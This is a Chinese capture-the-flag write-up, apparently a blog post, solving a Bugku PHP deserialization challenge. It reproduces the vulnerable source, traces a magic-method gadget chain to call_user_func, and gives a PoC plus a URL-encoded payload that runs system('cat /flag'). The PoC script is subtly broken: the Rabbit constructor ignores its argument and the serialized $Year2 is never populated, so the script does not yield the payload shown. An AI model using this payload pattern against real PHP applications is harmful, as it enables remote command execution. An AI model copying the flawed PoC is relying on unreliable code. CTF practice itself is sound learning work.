bugku 兔年大吉2题解

源代码

<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
}else {
    echo "过新年啊~过个吉祥年~";
}
?>

很明显,是一个反序列化漏洞

$a = unserialize($_GET['pop']);

前置知识

php魔术方法:

  • __call() : 在对象中调用一个不可访问方法时, __call() 会被调用
  • __invoke: 当一个对象被作为函数调用时被调用
  • __set: 当对象设置一个不存在的属性时调用
  • __get: 当对象访问一个不存在的属性时调用

序列化只会保存对象的属性对应的值

分析

找有没有危险函数, 在Happy类中找到了

public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

这里我们需要找到哪里调用了未定义的方法
可以找到 Nevv 对象

class Nevv{
    private $happiness;

    public function __invoke()
    {
        return $this->happiness->check();
    }
}

根据对象内容我们找到Year对象中的 __get 方法

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

如果将 $this->rabbit的值换成 Nevv 就可以执行 __invoke 方法

同样如果需要执行这个对象我们就需要访问一个不存在的属性

class Rabbit{
    private $aspiration;    // Year
    public function __set($name,$val){
        return $this->aspiration->family;   
    }
}

根据上述内容找到

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

上面设置了未知方法
找到调用的地方,在Year对象中

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

在对象销毁时执行并且 $this->key = "happy new year"

到这里就分析完毕这一整条反射链

Happy -> Nevv -> Year -> Rabbit -> Year

也就是说我们需要构造的话以下反射链

Year-> Rabbit -> Year -> Nevv -> Happy

poc

<?php
class Happy
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }
}

class Nevv
{
    private $happiness;
    function __construct($happiness)
    {
        $this->happiness = $happiness;
    }
}

class Rabbit
{
    private $aspiration;    // Year
    function __construct()
    {
        $this->aspiration = $aspiration;
    }
}

class Year
{
    public $key;
    public $rabbit;
}


$happy = new Happy("system", "cat /flag");
$Nevv  = new Nevv($happy);     # Nevv -> Happy

$Year = new Year();
$Year->key = 0;
$Year->rabbit = $Nevv;      # Year -> Nevv 


$Rabbit = new Rabbit($Year);   #  Rabbit -> Year

$Year2 = new Year();
$Year->key = "happy new year";
$Year->rabbit = $Rabbit;      # Year-> Rabbit 

# Year-> Rabbit -> Year -> Nevv -> Happy
echo urlencode(serialize($Year2));
O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值